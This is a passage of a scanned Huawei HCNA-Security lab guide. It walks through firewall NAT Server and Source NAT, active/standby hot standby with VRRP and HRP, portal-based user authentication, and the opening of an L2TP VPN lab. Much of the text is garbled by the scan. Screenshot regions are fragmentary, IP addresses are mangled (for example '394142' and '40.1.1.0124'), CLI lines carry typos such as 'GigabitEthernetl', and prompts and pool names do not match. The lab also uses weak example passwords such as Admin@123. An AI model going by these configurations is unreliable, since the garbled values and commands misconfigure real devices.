Run the display firewall session table command to check the NAT results.

[USG6330-1] display firewall session table
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Current Total Sessions : 5
icmp VPN: public --> public  10.1.2.100:56279[2.2.2.5:2057] -->40.1.1.100:2048

[
icmp VPN: public --> public  10.1.2.100:55255[2.2.2.5:2053
[
[

]
]-->40.1.1.100:2048
icmp VPN: public --> public  10.1.2.100:56023[2.2.2.5:2056] -->40.1.1.100:2048
]
]

icmp VPN: public --> public  10.1.2.100:55767[2.2.2.5:2055] -->40.1.1.100:2048

icmp VPN: public --> public  10.1.2.100:55511[2.2.2.5:2054] -->40.1.1.100:2048

As shown above, the firewall translates the source address 10.1.2.100 into 2.2.2.5 in the NAT
address pool for communication with PC2.

6.4 Experiment Task Configuration (NAT Server and
Source NAT)

6.4.1 Configuration Roadmap
1.  Configure IP addresses for interfaces and add the interfaces to security zones. Configure
a security policy to permit packets from the Untrust zone to the DMZ.
2. Configure NAT Server.
3. Create a NAT address pool.
4.  Configure a NAT policy.

6.4.2 Configuration Procedure on the CLI

Step1 Complete the configuration of the upstream and downstream service interfaces on the USG.
Configure IP addresses for the interfaces and add the interfaces to security zones. (Omitted)

Step 2 Configure a security policy to filter the packets transmitted between security zones.

[USG6330-1] security-policy

[USG6330-1-policy-security] rule name bidectinal nat
[USG6330-1-policy-security-rule-policy sec] source-zone untrust
[USG6330-1-policy-security-rule-policy sec] destination-zone dmz
[USG6330-1-policy-security-rule-policy sec] action permit
[USG6330-1-policy-security-rule-policy sec] service ftp
[USG6330-1-policy-security-rule-policy sec] quit

Step 3 Configure NAT Server.

[USG6330-1] nat server ftpserver protocol tcp global 40.1.1.2 ftp inside 10.1.1.100
ftp

Step 4 Configure a NAT address pool.

[USG6330-1] nat address-group natpool2
[USG6330-1-address-group-natpool] section 10.1.1.10 10.1.1.20

Step 5 Configure NAT ALG for the DMZ-Untrust interzone to ensure that the intranet server can
provide the FTP service for Internet users. This step can be omitted because NAT ALG is
enabled globally by default.

[USG6330-1] firewall interzone dmz untrust
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[USG6330-1 -interzone-dmz-untrust] detect ftp
[USG6330-1 -interzone-dmz-untrust] quit

Step 6 Create a NAT policy for the DMZ-Untrust interzone, define the range of source IP addresses
for NAT, and bind the NAT policy to NAT address pool 2.

[USG6330-1] nat-policy

[USG6330-1-policy-nat] rule name biderectinal nat
[USG6330-1-policy-nat-rule-source nat] destination-zone dmz
[USG6330-1-policy-nat-rule-source nat] source-zone untrust
[USG6330-1-policy-nat-rule-source nat] source-address 40.1.1.0 24
[USG6330-1-policy-nat-rule-source nat] action nat address-group natpool2

Step 7 Configure the switches.

Add the three interfaces of each switch to the same VLAN (default VLAN). For configuration
commands, refer to the relevant switch documents.

——End

6.4.3 Configuration Procedure on the Web Ul

Step 1 Configure interfaces on the USG.

Choose Network > Interface. Click = next to the interface to be configured. Set
parameters, and then click OK. The following figure shows the configuration of
GigabitEthernet1/0/0.

Modify GigabitEthernet Interface T X

Interface Name

Alias
Virtual System(® public ¥ |*
Zone dmz v
Mode # Routing Switching Bypass Interface Pair

IPvd  |PvE

Connection Type e SiaficIP DHCP PFFoE

IP Address | Enter each IP address on a separate line.
10110024 For example:

"1.1.1.1/255.255 255.07
11117247

Default Gateway
Primary DNS Server(?

Secondary DNS Server(?
Multi-Egress Options

Interface Bandwidth

OK Cancel

The configuration of GigabitEthernet1/0/4 is similar.

Step 2 Configure a security policy on the USG to permit packets from the Untrust zone to the DMZ.
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Choose Policy > Security Policy > Security Policy. Click Add. Set the parameters one by
one. Click OK. The following figure shows the security policy configuration.

wl
x

Add Security Policy

Mame hiderectinal_nat : *

Description

Policy Group — MNOMNE - w
Tag Select or enter a tag.
Source Zone untrust || (Multiple]
Destination Zone dmz || [Multiple]
Source Address/Region(?) Select or enter an address.
Destination Address/Region(2) Select or enter an address.
User(?) Select or enter a user name. [Multiple]
Access Mode(?) Select an access mode.
Device(?) Select or enter a device.
Service(?)
Application Select or enter an application. [Multiple]

Specifying application will automatically enable the SA
function. This function reduces system performance.

URL Category Select or enter a url category [Multiple]
Schedule Select a time range. w
Action e Permit Deny

OK OK and Copy | | Cancel

Security Policy List

o Add Security Policy = Add Security Policy Group 3§ Delete [l Copy § Mover [Blinsert [2Exportv @) Reset All Statistics (=L Enable [54 Disable [&] Customize TS Expand 32 Collapse

T Refresh

@ Enter a keyword @ Add Filter b4
Index Name Descri... Tag Source... Destin... Source... Destin... User Service Applic... Schedule Action Conten... Hits  Enable Edit
1 policy_sec Biust Duntrust any any any any any any Permit 0 Reset o B
2 biderectinal. Bontrust Dgmz any any any fip any any Permit 0 Reset f B

Step 3 Configure NAT Server.

Choose Policy > NAT Policy > Server Mapping. In Server Mapping List, click Add. Set the
parameters shown in the following figure and click OK.

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 63

https://t.me/learningnets



HCNA-Security

Experiment Guide for Network Security Engineers 6 Firewall NAT Server & Source NAT
Add Server Mapping T X
[Show Overview]

Name fipserver :
Zone(®) S
Public IP Address(?) 40.1.1.2 *
Private IP Address(?) 10.1.1.100 * -
+| Specify Protocol
Protocol TCP > *
Public Port 21 #
Private Port 21 * - <1-65535>
+| Allow the Server to Use the Public IP Address for Internet Access
| Configure Black-Hole Route(2)
Mote: To ensure that the device can properly forward NAT service traffic, configure a security policy. [Add Security Policy]
OK Cancel

Step 4 Configure a NAT address pool.

Choose Policy > NAT Policy > Source NAT. Click the Source Translation Address Pool tab.

Click s and set the parameters shown in the following figure.

Add Source Translation Address Pool T X
Mame natpool2 *
IP Address Range 10.1.1.10-10.1.1.20

Enter each IP address or range on a separate line. For

example:

192 168.10.10-192.168.10.20

192.168.10.30
Health Check(z) Select a health check item. - Configure]
Configure Black-Hole Route(?)
PAT o

v | Advanced
OK Cancel

Step 5 Configure Source NAT.

Choose Policy > NAT Policy > Source NAT, click the Source NAT tab, click T in the
source NAT policy list, and set the parameters shown in the following figure.
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Add NAT Policy

[Show Owverview]

L}

Name biderectinal_nat *
Description
Tag Select or enter a tag.
NAT Type e NAT NATE4
MAT Mode Source address translation v
Schedule Select a time range -
Original Data Packet
Source Zone untrust w Multipl]
Destination Type ® Destination Zone Qutbound Interface
dmz v Multipl]
Source Address(?) 40.1.1.0124 x
Desfination Address(z) any x
Senvice(?) fip x
Translated Data Packet
Source Address Translated To Outbound Interface e [P Addresses in the IP Address Pool
Source Translation Address Pool natpool2 2
OK Cancel
——-End
L L] L]
6.5 Verification
L] L]
6.5.1 Checking the NAT Server Information
Run the display nat server command to check the NAT Server information.
[USG6330-1] display nat server
Server in private network information:
Total 1 NAT server(s)
server name ftpserver
id : 0 zone HE
global-start-addr 40.1.1.2 global-end-addr 40.1.1.2
inside-start-addr 10.1.1.100 inside-end-addr 10.1.1.100
global-start-port 21 (ftp) global-end-port : 21
inside-start-port 21 (ftp) inside-end-port : 21
globalvpn public insidevpn public
vsys public protocol : tcp
vIrp e no-revers : 0
interface e vrrp-bind-interface: ---
description : ==
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6.6 Question

If the public IP address in the server mapping configuration is in a different network segment
from G1/0/4, what should I pay attention to?
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Firewall Hot Standby

7.1 Experiment Overview

7.1.1 About This Experiment

In this experiment, two or more firewalls are deployed at the egress of the network to ensure
communication between the intranet and Internet.

7.1.2 Objectives

®  Understand the basic principle of hot standby.
®  Understand the VGMP and HRP protocols.
®  Configure firewall hot standby on the CLI and web UI.

7.1.3 Experiment Networking

Figure 7-1 Firewall hot standby topology

VRRP group 2 AN USGﬁ3301 VRRP group 1
Virtual .;? Adf,ess /eton Giiora N Vinual [P Address
10.1.23 10.1.2.1 20111 2.2.2.1
/ \ K y \
" Voo =
10422400 Edl0is Lction : .
e i 30111 E0/0/5 e
D‘E “E0/0/1 E0/0/1=| i i E0/0/1 E0/0/2 D..E
= | .= ! - =
“E0/0/5', | smE E0/0

PC1 33700-1\ |3o.1.1.§\/ S$3700-2 PC2
N\, S0/ /G{/O/“
‘1o.1.zz‘m 40.1.1.2

USG6330-2

7.1.4 Experiment Planning

Security devices USGs are deployed on a service node. Upstream and downstream devices are
switches. USG6330-1 and USG6330-2 work in active/standby mode.
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Table 7-1 Port addresses and zones

7.1.5 Experiment Tasks

Device Port IP Address Zone
Name
USG6330- | G1/0/1 10.1.2.1 Trust
|
G1/0/3 30.1.1.1 DMZ
G1/0/4 40.1.1.1 Untrust
USG6330- | G1/0/1 10.1.2.2 Trust
2
G1/0/3 30.1.1.2 DMZ
G1/0/4 40.1.1.2 Untrust
PC1 E0/0/1 10.1.2.100 Trust
PC2 E0/0/1 2222 Untrust
No. | Task Subtask Description
1 Complete Configure security Add interfaces to security zones.
basic zones.
configurations
2 Configure hot | Configure hot standby. | Set the hot standby mode to
standby. active/standby. USG6330-1 is active,
and USG6330-2 is standby.
Configure virtual IP Create VRRP groups 1 and 2.
addresses.
3 Configure a Configure an interzone | Permit the packets from the Trust zone
security security policy. to the Untrust zone.
policy.

7.2 Experiment Task Configuration

7.2.1 Configuration Roadmap

1. Configure IP addresses for interfaces and add the interfaces to security zones. Configure
a security policy to permit packets from the Trust zone to the Untrust zone.

2. Configure hot standby in active/standby mode. USG6330-1 is active, and USG6330-2 is

standby.
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7.2.2 Configuration Procedure on the CLI

Step 1 Complete the configuration of the upstream and downstream service interfaces on
USG6330-1. Configure IP addresses for the interfaces and add the interfaces to security
zones.

<USG6330-1> system-view

[USG6330-1] interface GigabitEthernet 1/0/1
[USG6330-1-GigabitEthernetl/0/1] ip address 10.1.2.1 255.255.255.0
[USG6330-1-GigabitEthernetl1/0/1] quit

[USG6330-1] interface GigabitEthernet 1/0/4
[USG6330-1-GigabitEthernetl/0/4] ip address 40.1.1.1 255.255.255.0
[USG6330-1-GigabitEthernetl1/0/4] quit

[USG6330-1] firewall zone trust

[USG6330-1-zone-trust] add interface GigabitEthernet 1/0/1
[USG6330-1-zone-trust] quit

[USG6330-1] firewall zone untrust

[USG6330-1-zone-untrust] add interface GigabitEthernet 1/0/4
[USG6330-1-zone-untrust] quit

Create VRRP group 1 on GigabitEthernet1/0/4, and add it to the active VGMP group.

[USG6330-1] interface GigabitEthernet 1/0/4
[USG6330-1-GigabitEthernetl/0/4] vrrp vrid 1 virtual-ip 2.2.2.1 255.255.255.0 active
[USG6330-1-GigabitEthernetl1/0/4] quit

Create VRRP group 2 on GigabitEthernet1/0/1, and add it to the active VGMP group.

[USG6330-1] interface GigabitEthernet 1/0/1
[USG6330-1-GigabitEthernetl/0/1] vrrp vrid 2 virtual-ip 10.1.2.3 active
[USG6330-1-GigabitEthernetl1/0/1] quit

Step 2 Configure the heartbeat link on USG6330-1.
Configure an IP address for GigabitEthernet1/0/3.

[USG6330-1] interface GigabitEthernetl/0/3
[USG6330-1-GigabitEthernetl1/0/3] ip address 30.1.1.1 255.255.255.0
[USG6330-1-GigabitEthernetl1/0/3] quit

Add GigabitEthernet1/0/3 to the DMZ.

[USG6330-1] firewall zone dmz
[USG6330-1-zone-dmz] add interface GigabitEthernetl/0/3
[USG6330-1-zone-dmz] quit

Specify GigabitEthernet1/0/3 as the heartbeat interface.
[USG6330-1] hrp interface GigabitEthernetl/0/3 remote 30.1.1.2
Step 3 Configure a security policy to permit packets from the Trust zone to the Untrust zone.

HRP A[USG6330-1] security-policy

HRP A[USG6330-1-policy-security] rule name policy sec

HRP A[USG6330-1-policy-security-rule-policy sec] source-zone trust

HRP A[USG6330-1-policy-security-rule-policy sec] destination-zone untrust
HRP A[USG6330-1-policy-security-rule-policy sec] action permit

HRP A[USG6330-1-policy-security-rule-policy sec] quit

Step 4 Enable HRP.
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[USG6330-1] hrp enable
Step 5 Configure USG6330-2.
The configurations on USG6330-2 are the same as those on USG6330-1, except that:

1. The IP addresses of the interfaces on USG6330-2 are different from those on
USG6330-1.

2. Add service interfaces GigabitEthernet1/0/1 and GigabitEthernet1/0/4 of USG6330-2 to
the standby VGMP group.

Step 6 Configure the switches.

Add the three interfaces of each switch to the same VLAN (default VLAN). For configuration
commands, refer to the relevant switch documents.

——End

7.2.3 Configuration Procedure on the Web Ul
Step 1 Configure interfaces on USG6330-1.

Choose Network > Interface. Click E next to the interface to be configured. Set
parameters, and then click OK. The following figure shows the configuration of

GigabitEthernet1/0/1.

Modify GigabitEthernet Interface 2
Interface Name
Alias
Virtual System(2) public |
Mode * Routing Switching Bypass Interface Pair

IPv4 IPvE

Connection Type & StaticIP DHCP PPPoE

IP Address |10_1_2_1;255_255_255_0 I Enter each IP address on a separate line
For example:

1.1.1.1/255.255.255.0"
124

Default Gateway
Primary DNS Server(z)

Secondary DNS Server(2)

The configuration of GigabitEthernet1/0/3 and GigabitEthernet1/0/7 is similar to that of
GigabitEthernet1/0/1.

Step 2 Configure VRRP group 1 and VRRP group 2 on USG6330-1.

Choose System > High Availability > Dual-System Hot Standby. Click Configure, select
the Enable check box of Dual-System Hot Standby, and set the following parameters.
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Configure Dual-System Hot Standby ?
Dual-System Hot Standby +| Enable & Read through restrictions and precautions before configuring hot standby.[Details]
Operating Mode(?} ®) Active/Standby Backup Load Balancing
Default Status(?) ® Active Standby
Heartbeat Interface(3) GE1/0/3 || [Edit] IP Address | 30.1.1.1 |+ PeerlP Address 394142 [+]
Proactive Preemption (%) | Enable
Automatic Static Route Backup(?} Enable
Hello Packet Interval(2) 1000 =500-50000=ms
4| Configure Virtual IP Address
Configure a virtual IP address if the service interface works at Layer 3 and is connected fo a switch.
dF Add 38 Delete ) Refresh
VRID Interface Interface IP Address/... | Virtual IP Address/Ma... | Virtual MAC Edit
2 GE1/0M1 10.1.2.1/24 10.1.2.3/24 Enabled E3
1 GE1/0/4 40.1.1.1/24 222124 Enabled E3
Page 1 of 1 Records per page| 50 v Displaying 1-2 of 2
0K Cancel
The configuration of USG6330-2 is similar to that of USG6330-1, and is omitted here.
Step 3 On the Dual-System Hot Standby page, view the status of dual-system hot standby.
Dual-System Hot Standby
8¢ Edit
Monitored Item Current Status Details
Current Running Mode Active/Standby Backup
Current Working Role active (the stable running time: 0 days, 0 hours, & mins) Details
Current HeariBeat Interface None
Proactive Preemption Enabled
Configuration Consistency(?) Fail to Sendicheck time:0/0/0 00:00:00) Details Check
4 Virtual IP
10.1.2.3(GE1/0/) © master
2.2.2.1(GE1/0/4) (] master

Step 4 Configure a security policy on USG6330-1 to permit packets from the Trust zone to the

Untrust zone.

Choose Policy > Security Policy > Security Policy. Click Add. Set the parameters one by
one. Click OK. The following figure shows the security policy that permits packets from the

Trust zone to the Untrust zone.
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Add Security Policy

Name

policy_sec -
Description
Policy Group -- NONE - ~
Tag Select or enter a tag
Source Zone trust ~ | MU
Destination Zone untrust ~ || MU
Source Address/Region(z) Select or enter an address
Destination Address/Region(3) Select or enter an address
User(® Select or enter a user name [Mu
Access Mode (@) Select an access mode
Device(?) Select or enter a device
Service(3) Select or enter a service.
Application Select or enter an application. [Muit

Specifying application will automatically enable the SA
function. This function reduces system performance

URL Category Select or enter a url category. [Mu
Schedule Select a time range. ~
Action o Permit Deny

Security Policy List

fiple]
fiple]

fiple]

ple]

fiple]

0K

OK and Copy Cancel

o Add Security Policy = Add Security Policy Group 3§ Delete [ Copy § Movev [B]Insert [&Export (@) Reset All Statistics E Enable [} Disable & Customize TS Expand EE Collapse

&, Enter a keyword © Add Filter
Index  Name Descri... Tag Source... Destin... Source... Destin... User Service Applic...
1 policy_sec Oirust  Buntrust any any any any any any
—End

7.3 Verification

7.3.1 Checking the Configuration

Schedule | Action

Permit

) Refresh

®
Conten... Hits | Enable Edit
0 Reset el B

Run the display vrrp command on USG6330-1 to check the status of interfaces in VRRP
groups. If the following information is displayed, the VRRP groups are successfully created.

HRP A<USG6330-1>display vrrp

GigabitEthernetl/0/4 |
State
Virtual IP
Master IP

Master
2.2.2.1
40.1.1.1
120
100
120
Delay

PriorityRun
PriorityConfig
MasterPriority
YES
60 s

60 s

Preempt
TimerRun

TimerConfig

Virtual Router 1

Time : 0 s
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Auth type : NONE

Virtual MAC : 0000-5e00-0101
Check TTL : YES

Config type : vgmp-vrrp
Backup-forward : disabled

GigabitEthernetl/0/1 | Virtual Router 2
State : Master
Virtual IP : 10.1.2.3
Master IP : 10.1.2.1
PriorityRun : 120
PriorityConfig : 100
MasterPriority : 120
Preempt : YES Delay Time : O s
TimerRun : 60 s
TimerConfig : 60 s
Auth type : NONE
Virtual MAC : 0000-5e00-0102
Check TTL : YES
Config type : vgmp-vrrp
Backup-forward : disabled

Run the display hrp state command on USG6330-1 to check the current HRP status. If the
following information is displayed, HRP is successfully configured.

HRP A<USG6330-1>display hrp state

The firewall's config state is: ACTIVE

Current state of virtual routers configured as active:
GigabitEthernetl/0/1 vrid 2 : active
GigabitEthernetl/0/4 vrid 1 : active

Ping the virtual IP address 10.1.2.3 of VRRP group 2 on PC1 in the Trust zone and check the
session table on USG6330-1.

HRP A<USG6330-1>display firewall session table
Current Total Sessions : 1
icmp VPN:public --> public 10.1.2.100:1-->10.1.2.3:2048

The virtual IP address of VRRP group 2 can be pinged on PC1.

PC2 functions as the server and is located in the Untrust zone. PC1 can ping through the
server in the Untrust zone. Check sessions on USG6330-1 and USG6330-2.

HRP_A<USG6330-1>display firewall session table
Current Total Sessions : 1
icmp VPN:public --> public 10.1.2.100:1-->2.2.2.2:2048

HRP S<USG6330-2>display firewall session table
Current Total Sessions : 1
icmp VPN:public --> public Remote 10.1.2.100:1-->2.2.2.2:2048

You can see a session marked with Remote on USG6330-2. This indicates that the session has
been backed up to the peer after hot standby is enabled.

Run the ping 2.2.2.2 -t command on PCI, remove the network cable from GE1/0/1 on
USG6330-1, and then check whether an active/standby switchover is performed and whether
ping packets are discarded. Insert the network cable into GE1/0/1 on USG6330-1 and
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check whether an active/standby switchover is performed and whether ping packets are
discarded.

7.4 Question

1. The data backed up between the two firewalls is transmitted and received through the
heartbeat interface and heartbeat link (backup channel). What are the requirements for
the heartbeat interface?

2. There are multiple ways to configure firewall hot standby. In this experiment, the
firewalls are deployed in in-path mode, work in active/standby mode, and connect to
Layer 2 upstream and downstream devices. What other hot standby networking scenarios
and corresponding configuration precautions do you know?
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Firewall User Management

8.1 Experiment Overview

8.1.1 About This Experiment

In this experiment, a security device is deployed at the egress of the network to implement
local authentication or authentication exemption for Internet access users, implementing user
management.

8.1.2 Objectives

®  Understand the basic principle of user management.
®  Configure authentication exemption.

®  Configure password authentication.

8.1.3 Experiment Networking
Figure 8-1 User management experiment topology
Chew,
N USG6330-1

10.1.1.1
L
G1/0/1 G1/0/4 E0/0/2

10.1.2.1 40.1.1.1 4011100

oo PC2

|
D 10.1.2.100

PC1
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8.1.4 Experiment Planning

The USG is deployed as a gateway. PC3 and PC1 are used to simulate authentication-exempt
and password-authentication users, respectively, to access an Internet server (simulated by
PC2).

Table 8-1 Port addresses and zones

Device Port IP Address Zone
Name
USG6330- | G1/0/0 10.1.1.1 Guest
: G1/0/1 10.1.2.1 Trust
G1/0/4 40.1.1.1 Untrust
PCl E0/0/1 10.1.2.100 Trust
PC2 E0/0/2 40.1.4.100 Untrust
PC3 E0/0/3 10.1.1.100 Guest

8.1.5 Experiment Tasks

No. Task Subtask Description
1 Complete basic Configure IP addresses. | Assign IP addresses to interfaces.
configurations. ) - -
Configure security Add interfaces to security zones.
zones.
2 Configure user Configure Configure the authentication
management. authentication policy and security policy.
exemption.
Configure password Configure the authentication
authentication. policy and security policy.

8.2 Experiment Task Configuration

8.2.1 Configuration Roadmap

1. Configure IP addresses for interfaces and add the interfaces to security zones.

2. Create user groups and create user policies.

8.2.2 Configuration Procedure on the Web Ul

Step 1 Configure basic parameters of the USG interfaces and add the interfaces to security zones.
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Add G1/0/0 to the guest zone (create this security zone and set its security level to 40), G1/0/1
to the Trust zone, and G1/0/4 to the Untrust zone. The detailed configuration procedure is
omitted.

Step 2 Create an authentication exemption user group.

Choose Object > User > default. In User/User Group/Security Group Management List,
click Add and select Add User Group to create user group auth_exemption.

Huawei - — \ o
uawer  USGB330 Is =] = - (]

Dashboard Monitor Policy Object  Network  System

[E] Certificates

User Management
EgjLocal Certificates

E}CA Certificates Scenario «| Online behavier management +| 55L VPN access
EJCRL
1/ Authentication Mode and Policy Settings
[E} Certificates Filtering
Address Internet Access Authentication Mode Portal authentication x
@ Region Data Flow [Configure Authentication Policy]
& Service 2| User Configuration
% Application User Location

+|Local Authenticatic

& User Local User [Import User] [Import Security
| ;default

£5 Authentication Dom: User/User Group/Security Group Management List

fng Authentication Policy 3¢ Delete [@Modify B Copy [ Exportv SEManage Users by Organiz

&3 Authentication Optio

Add User Group ? X
Mame auth_exemption| *
Description
Parent Group Jdefault [Select]
v'| Enable account sharing for this group
\3>'.-‘\-'a“1ing Disabling account sharing will force all account-sharing users offline
OK Cancel

Step 3 Choose Object > User > Authentication Policy and click Add to create user authentication
policy Guest for network segment 10.1.1.0/24.
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Add Authentication Policy ? X
Name Guest -

Description
Tag Select or enter a tag.
Source Zone Select a source zone. || [Multiple]
Destination Zone Select a destination zone. ~ || [Multiple]
Source Address/Region(?) 10111724 =
Destination Address/Region(?) Select or enter an address.
Action Portal authentication

SMS authentication

Authentication exemption(?)

Io No authentication(?ﬁ'l
OK Cancel

Step 4 Create a password authentication user group and user.

Choose Object > User > default. In User/User Group/Security Group Management List,
click Add and select Add User Group to create user group normal.

Add User Group 7 X
Mame normal :
Description
Farent Group idefault [Select]
+'| Enable account sharing for this group
&Warning: Disabling account sharing will force all account-sharing users offline.
OK Cancel
Click Manage Users by Organizational Structure.
& User Local User [import User] [Import Security Groug]
@ default
{5 Authentication Doz User/User Group/Security Group Management List
g Authentication Policy ok Addv  $€ Delete [ Modity 8 Copy @,Expun'l B8 Manage Users by Organizational Structure I
By Authentication Optio Maximize §) Refresh | Enter a name. @, Ses
84 User Import o 8
&lo — Name Description User Group Source Binding Information | E
niine Users
=, SMS Transmission Hdirector & /default local - -
K& Device Hemployee & /default local - -
(& Authentication Server Bauth_exemption & /default local - -
Under Organizational Structure, select normal.
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In Member List, click Add and select Add User to create user user(01 with password

Admin@123

Enter a name.

28 defautt
«5‘ dire

«5‘ sha
Qu dou

Add User

Organizational Structure

&, Search

ctor

- employee
- auth_exemption

|

User Name

Display Mame
Description
User Group

Security Group

Password

Confirm Password

v | User Attributes

Manage Users by Organizational Structure

Group Information

Group Path: !defaultinormal [Edit]
Description:
Group Member: Subgroup Counts 0 Direct Subordi

Member List

ok Add> 3¢ Delete [ Modify B Copy BgMove [SE
Add User ) Refresh | Enter a nar

i Add Multiple Users o
) Description User Group
bi Add User Group
i Idefault/n
Add Security Group ‘&“
7T X
Idefault/normal [Select]
[Select]
The passwor@ must be a string of 6 to 16 characters and must contain at least three
of the followirjg character types: uppercase letters, lowercase letters, digits, and
special charafters. The password cannot be the same as the user name.
OK Cancel

Step 5 Choose Object > User > Authentication Policy and click Add to create user authentication
policy Normal for network segment 10.1.2.0/24.

Issue 3.0

https://t.me/learningnets

Copyright © Huawei Technologies Co., Ltd. 79



HCNA-Security

Experiment Guide for Network Security Engineers 8 Firewall User Management

Add Authentication Policy ? X
Name Mormal -
Description
Tag Select or enter a tag.
Source Zone Select a source zone. || [Multiple]
Destination Zone Select a destination zone. || [Multiple]
Source Address/Region(3) Select or enter an address.
Destination Address/Region(?) Select or enter an address.
Action e Portal authentication

SMS authentication

Authentication exemption(?)

Mo authentication(?)
Portal Authentication Template Enable

oK Cancel

Step 6 Choose Policy > Security Policy and click Add to create a forwarding policy for
authentication-exemption users. Set Source Zone to guest and Destination Zone to untrust,
select the authentication-exemption user group guest, and set Action to Permit.

Add Security Policy ? X
Name guest B -~
Description

Policy Group - MOME — ~

Tag Select or enter a tag.

Source Zone guest | [[Multiple]

Destination Zone untrust || [Multiple]

Source Address/Region(?) Select or enter an address

Destination Address;Region@}
User(?)

Access Mode(?)

Device(?)
Service(®)

Application

URL Category
Schedule

Action

Select or enter an address

18 /default/auth_exemption x

Select an access mode.
Select or enter a device.
Select or enter a service.

Select or enter an application.

[Multiple]

[Multiple]

Specifying application will automatically enable the SA

function. This function reduces system performance.

Select or enter a url category.

Select a fime range.

Deny

[Multiple]

OK OK and Copy Cancel

Step 7 Choose Policy > Security Policy and click Add to create a forwarding policy for

password-authentication users.
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Set Source Zone to trust and Destination Zone to untrust, select password-authentication
user group normal, and set Action to Permit.

Add Security Policy 7 X
Name normal * -
Description
Policy Group -- NONE - w
Tag Select or enter a tag.
Source Zone trust | | [Multiple]
Destination Zone untrust | ([Multiple]
Source Address/Region(2) Select or enter an address
Destinafion Address/Region(?) Select or enter an address
User(®) B /default/normal x [Multiple]
Access Mode(3) Select an access mode.
Device(?) Select or enter a device.
Semvice(?) Select or enter a service.
Application Select or enter an application. [Muitiple]

Specifying application will automatically enable the SA
function. This function reduces system performance

URL Category Select or enter a url category. [Multiple]

Schedule Select a fime range. LY

0K OK and Copy Cancel

Step 8 Choose Object > User > Authentication Option, click the Local Portal tab, configure local
portal authentication and set Redirection after Authentication to Redirect to the
previous web page.

Global Configuration Local Portal User-defined Portal Resource Customization

Local Portal Authentication + Enable
@I portal authentication is disabled, users cannot be authenticated on the login page.
Redirection Authentication Mode HTTP ® HTTPS
Authentication Port =1025-50000=
Lockout After Failed Login +| Enable
Maximum Failed Login Attempts 3 ={-5=
Lockout Duration 5 =1-10= minutes

Authentication Conflict
The following action will be taken when account sharing is disabled and an account logs in a second time:
& Forcibly log out the original IP address and authenficate the new IP address.
Allow the original |P address to confinue using services and do not authenticate the new IF address.

Redirection after Authentication
Mo redirection

I ) Redirect to the previous web page I

Redirect to a user-defined URL

+| Login Page Customization

Apply
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When a user accesses the Internet through HTTP, the access is redirected to the authentication
page of the Internet access user.

Step 9 Choose Object > Security Policy > Security Policy and click Add to create a security policy
to allow traffic from port 8887 in the Trust and Local zones to pass through the firewall, so
that the authentication page can be pushed successfully.

Add Security Policy T X
Mote: You can use a policy template to quickly define the required policy. [Select Template] + Switch Source and Destination(3)
Name Auth *
Description
Policy Group - MONE — ~
Tag Select or enter a tag.
Source Zone local trust ~ || [Multiple]
Destination Zone local trust + || [Multiple]
Source Address/Region(?) Select or enter an address
Destination Address/Region(?) Select or enter an address
User(®) Select or enter a user name. [Multiple]
Access Mode(3) Select an access mode.
Device(?) Select or enter a device.
Semvice(®)
Application Available Selected
Ea;y [[] Select Al dbAddw 3§ Delste 3¢ Invert
a
[Flah I Add User-defined Service I
URL Categon
gory [Clogp Add Service Group
biff
Schedule O Add Protocol or Protocol Mumber bt
[ bootpc
[Clbootps .|| Cancel
[Flcharaen
Add User-Defined Service ? X
Mame Auth *
Description
Session Timeout =1-65535=5econds
Prot
Add Protocol ? X
& A
Protocol TCF "
Protocol Mumber - pters )
’ cod Edit
Source Port 0-65535 i =
Destinafion Port 8887
OK Cancel
——End
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8.3 Verification

A temporary user can access the Internet without entering any user name or password.

When an employee accesses the Internet through HTTP, the USG pushes the user
authentication page to prompt the employee to enter his/her user name and password. The
employee can access network resources only after entering the correct user name and
password.

8.4 Configuration Reference

<USG6330-1>display current-configuration
sysname USG6330-1
#
ip service-set Authy type object
service 0 protocol tcp source-port 0 to 65535 destination-port 8887
#
ip service-set Auth type object
service 0 protocol tcp source-port 0 to 65535 destination-port 8887
#
time-range worktime
period-range 08:00:00 to 18:00:00 working-day
#
interface GigabitEthernetl/0/0
undo shutdown
ip address 10.1.1.1 255.255.255.0
#
interface GigabitEthernetl/0/1
undo shutdown
ip address 10.1.2.1 255.255.255.0
#
interface GigabitEthernetl/0/2
undo shutdown
ip address 40.1.1.1 255.255.255.0
#
firewall zone local
set priority 100
#
firewall zone trust
set priority 85
add interface GigabitEthernet0/0/0
add interface GigabitEthernetl/0/1
#
firewall zone untrust
set priority 5
add interface GigabitEthernetl/0/2
#
firewall zone dmz
set priority 50
#
firewall zone name Guest id 4
set priority 40
add interface GigabitEthernetl1/0/0

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 83

https://t.me/learningnets



HCNA-Security
Experiment Guide for Network Security Engineers 8 Firewall User Management

#

security-policy
rule name Guest
source-zone Guest
destination-zone untrust
action permit
rule name Normal
source-zone trust
destination-zone untrust
action permit
rule name Auth
source-zone local
source-zone trust
destination-zone local
destination-zone trust
service Auth
action permit

#

auth-policy
rule name Guest
source-address 10.1.1.0 mask 255.255.255.0
action none
rule name Normal
source-address 10.1.2.0 mask 255.255.255.0

action auth

return

8.5 Question

1. What are the categories of user management?

2. What are the configuration process and precautions for SSO?
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L2TP VPN

9.1 Experiment Overview

9.1.1 About This Experiment

The VPN Client software is installed on the portable computer of a mobile office user. The
user expects to establish an L2TP VPN tunnel between the VPN Client software and the
enterprise egress gateway LNS to access the intranet through the VPN tunnel.

9.1.2 Objectives

®  Understand the basic principle of L2TP VPN dialup.
®  Configure an L2TP VPN in Client-Initialized mode.

9.1.3 Experiment Networking

Figure 9-1 Topology of the L2TP VPN in Client-Initialized mode

( L2TP VPN tunnel ()

Internet

GE1/0/2 & GE1/0/0

PC1 20.1.1.1/24 10.1.1.1/24
20.1.1.10/24 Server1
10.1.1.10/24
9.1.4 Experiment Planning
Table 9-1 L2TP VPN experiment planning
Item Data Description
LNS Interface: GE1/0/0
IP address: 10.1.1.1/24
Security zone: trust
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Item Data Description

Interface: GE1/0/2
IP address: 20.1.1.1/24

Security zone: untrust

PC1 IP address: 20.1.1.10/24 PCI1 has the L2TP dialup
Gateway address: 20.1.1.1 client installed.

Serverl IP address: 10.1.1.10/24 Serverl simulates an
Gateway address: 10.1.1.1 Intranet server.

L2TP planning (LNS) [ Virtual interface: virtual-temptate(

Virtual interface address:
192.168.1.1/24

Virtual interface zone: untrust
Remote tunnel name: client
Local tunnel name: client

Tunnel authentication password:
Password123

Remote address: 192.168.1.10
User name: user001
Password: Admin@123

L2TP planning (dialup | User name: user001

user) Password: Admin@123
Tunnel name: client
Authentication mode: CHAP

Tunnel password: Password123

